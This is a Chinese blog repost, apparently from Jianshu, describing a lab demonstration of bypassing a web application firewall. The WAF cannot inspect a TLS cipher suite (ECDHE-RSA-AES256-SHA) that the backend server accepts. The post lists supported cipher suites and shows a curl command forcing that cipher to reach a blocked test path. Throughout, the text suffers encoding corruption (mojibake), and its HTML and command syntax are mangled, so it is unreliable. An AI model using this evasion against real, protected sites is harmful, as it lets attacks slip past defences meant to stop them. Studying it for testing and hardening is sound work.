利用SSL/TLS繞過(guò)web應(yīng)用防火墻

眾所周知的SSL/TLS握手過(guò)程:

圖1 SSL/TLS握手

如上圖1所示,server和client之間需要協(xié)商加密套件,如果client支持的加密套件不在server支持的范圍內(nèi)就無(wú)法正常工作。那么,如果client<--->server支持的加密套件超出waf支持的范圍,waf能拒絕嗎?


根據(jù)waf的文檔,支持的SSL加密套件如下:

SSLv3

SSL_RSA_WITH_NULL_MD5

SSL_RSA_WITH_NULL_SHA

SSL_RSA_WITH_RC4_128_MD5

SSL_RSA_WITH_RC4_128_SHA

SSL_RSA_WITH_DES_CBC_SHA

SSL_RSA_WITH_3DES_EDE_CBC_SHA

SSL_RSA_EXPORT_WITH_RC4_40_MD5

SSL_RSA_EXPORT_WITH_DES40_CBC_SHA

TLS/1.0-1.2

TLS_RSA_WITH_NULL_SHA256

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_EXPORT1024_WITH_RC4_56_MD5

TLS_RSA_EXPORT1024_WITH_RC4_56_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }

TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }

TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }

waf后web服務(wù)端的SSL套件可以使用sslcan掃描獲得。

通過(guò)對(duì)比waf和web server的SSL套件,發(fā)現(xiàn)如下的套件web server支持但waf不支持:

Accepted TLSv1 256 bits ECDHE-RSA-AES256-SHA


web server增加一個(gè)測(cè)試頁(yè)面/ssl-cipher-test,且在waf上配置block URL路徑/ssl-cipher-test。

直接訪問(wèn)會(huì)成功攔截:


用制定的SSL套件可以bypass waf:

pwn@thinkpad:~$ curl--ciphersECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test HELLO

<htmllang=en>

? <title>HELLO </titile>

? <p>Bypass worked</p>

pwn@thinkpad:~$


來(lái)源:

https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 目錄 準(zhǔn)備 分析2.1. 三次握手2.2. 創(chuàng)建 HTTP 代理(非必要)2.3. TLS/SSL 握手2.4. ...
    RunAlgorithm閱讀 39,072評(píng)論 12 117
  • 目錄 一、https概述 1. 什么是HTTP? 2. 什么是HTTPS? 3. SSL/TLS...
    出走的流星閱讀 13,189評(píng)論 4 27
  • 安裝azkaban時(shí)參考了網(wǎng)上的資料,結(jié)果沒(méi)一篇能安裝成功的。調(diào)試半天才成功,大部分的問(wèn)題是資料版本太老,gith...
    天夭夭閱讀 4,494評(píng)論 2 0
  • 如果看到最后你也會(huì)流淚,眾人唏噓,振撼揪心! 毒舌馬丁《父與子》的演講真實(shí)感人慟情,讓我折服! 贊馬丁: 深情憶父...
    eceff7a5c042寒冰閱讀 445評(píng)論 0 1
  • 20180130 ep3 啊啊啊啊啊啊啊啊 一起去開(kāi)車去公園野餐+逛超市+嘎/會(huì)見(jiàn)女神+飯后小課堂 的設(shè)定真的很溫...
    TATAKIKO閱讀 577評(píng)論 0 0

友情鏈接更多精彩內(nèi)容